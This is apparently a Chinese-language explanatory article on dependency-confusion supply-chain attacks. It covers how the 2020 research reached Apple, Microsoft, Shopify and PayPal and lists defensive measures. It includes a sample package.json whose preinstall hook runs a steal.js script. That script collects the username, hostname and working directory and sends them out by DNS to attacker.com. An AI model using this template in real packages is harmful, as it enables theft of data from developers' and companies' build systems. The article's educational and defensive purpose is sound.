不规范的依赖管理:我如何入侵苹果,微软和数十家公司(新型供应链攻击的故事)
字数 2244 2025-08-06 08:35:30
依赖混淆攻击:供应链安全的新型威胁与防御
1. 攻击概述
依赖混淆攻击(Dependency Confusion)是一种新型的供应链攻击方式,攻击者通过利用企业内部依赖管理机制的漏洞,将恶意代码注入到企业开发流程中。这种攻击方式在2020年被发现并证明对包括苹果、微软、Shopify、PayPal、Netflix、Yelp和Uber等35家大型科技公司有效。
2. 攻击原理
2.1 基本攻击流程
- 识别内部包名称:通过公开渠道(如GitHub、JavaScript文件等)获取企业内部使用的私有依赖包名称
- 注册公共包:在公共包仓库(npm、PyPI、RubyGems等)上注册相同名称的包
- 注入恶意代码:在包的安装脚本(preinstall等)中嵌入恶意代码
- 等待触发:当企业内部系统错误地拉取公共包而非私有包时,恶意代码被执行
2.2 技术细节
-
依赖解析机制缺陷:许多包管理器在解析依赖时存在优先级问题
- Python的pip使用
--extra-index-url时,会同时检查内部和公共仓库,默认安装版本号更高的包 - Ruby的
gem install --source有类似行为 - JFrog Artifactory等工具默认采用相同的易受攻击算法
- Python的pip使用
-
恶意代码执行点:利用包管理器的生命周期脚本
- npm的
preinstall/postinstall脚本 - Python的
setup.py - Ruby的
gemspec文件
- npm的
-
数据外传方式:主要使用DNS窃取技术,因为:
- 企业网络通常对DNS流量限制较少
- 可以绕过严格的出站流量监控
- 收集基本信息(用户名、主机名、路径)而不触发敏感数据警报
3. 攻击实施步骤详解
3.1 信息收集阶段
-
源代码分析:
- 搜索GitHub等代码托管平台上的企业内部项目
- 特别关注
package.json(Node.js)、requirements.txt(Python)、Gemfile(Ruby)等依赖声明文件
-
JavaScript文件分析:
- 扫描企业公开的JavaScript文件
- 查找嵌入的
package.json内容或require()调用中的内部包名
-
自动化扫描:
- 使用工具扫描目标企业的数百万个域名
- 提取未在公共仓库注册的包名称
3.2 恶意包制作
- 基本结构:
// package.json示例
{
"name": "internal-package-name",
"version": "9999.0.0", // 设置极高版本号
"scripts": {
"preinstall": "node steal.js"
}
}
- 数据收集脚本:
// steal.js示例
const os = require('os');
const dns = require('dns');
const data = {
username: os.userInfo().username,
hostname: os.hostname(),
path: process.cwd()
};
// 通过DNS外传数据
dns.lookup(`${btoa(JSON.stringify(data))}.attacker.com`, () => {});
3.3 包发布与监控
-
多平台发布:
- npm (Node.js)
- PyPI (Python)
- RubyGems (Ruby)
-
DNS监控:
- 使用如dnsbin等工具监控入站请求
- 分析返回的数据识别受害者
4. 实际攻击案例
4.1 成功攻击案例
-
Apple:
- 攻击影响Apple ID认证系统
- 多台内部服务器执行了恶意代码
- 获得$30,000漏洞赏金
-
Shopify:
- 构建系统自动安装了恶意Ruby gem(
shopify-cloud) - 24小时内修复
- 获得$30,000漏洞赏金
- 构建系统自动安装了恶意Ruby gem(
-
Microsoft:
- 影响Office 365云服务
- Azure Artifacts服务存在类似问题
- 获得$40,000最高奖励
-
PayPal:
- 最初的研究起点
- 获得$30,000漏洞赏金
4.2 攻击统计数据
- 成功率:35家测试公司中全部有效
- 语言分布:
- 75%来自npm(Node.js)
- Python和Ruby虽然发现较少但也有效
- RubyGems测试中,8家公司有4家受影响
5. 防御措施
5.1 技术解决方案
-
包管理器配置:
- Python: 避免使用
--extra-index-url,改用--index-url明确指定私有源 - Ruby: 避免依赖
--source参数的默认行为 - 使用
--trusted-host等参数限制源
- Python: 避免使用
-
依赖源配置:
- 在JFrog Artifactory中禁用混合公共/私有仓库功能
- 使用严格的源优先级策略
-
Azure Artifacts改进:
- 实施更安全的依赖解析策略
- 提供明确的冲突解决方案
5.2 组织最佳实践
-
命名策略:
- 为内部包使用专用命名空间或前缀
- 确保名称不会与公共包冲突
-
依赖锁定:
- 使用锁文件(如
package-lock.json,Pipfile.lock) - 实施严格的版本锁定策略
- 使用锁文件(如
-
CI/CD安全:
- 在构建环境中禁用公共包仓库
- 实施网络策略限制构建系统出站连接
- 监控构建系统中的异常包安装
-
安全审计:
- 定期扫描公开信息中泄露的内部包名
- 在公共仓库注册内部包名防止抢注
6. 未来研究方向
-
扩展攻击面:
- 测试更多编程语言的包管理器(如Go, Rust, Java等)
- 探索其他类型的依赖管理工具(如Docker镜像)
-
高级技术:
- 结合typosquatting技术
- 开发自动化工具识别易受攻击的项目
-
防御深化:
- 研究签名验证在依赖管理中的应用
- 开发更安全的依赖解析算法
7. 总结
依赖混淆攻击暴露了现代软件开发中依赖管理系统的深层次安全问题。这种攻击之所以有效,是因为它利用了开发便利性与安全性之间的根本矛盾。随着软件供应链攻击的增多,组织必须重新评估其依赖管理策略,实施更严格的安全控制,并持续监控潜在的滥用模式。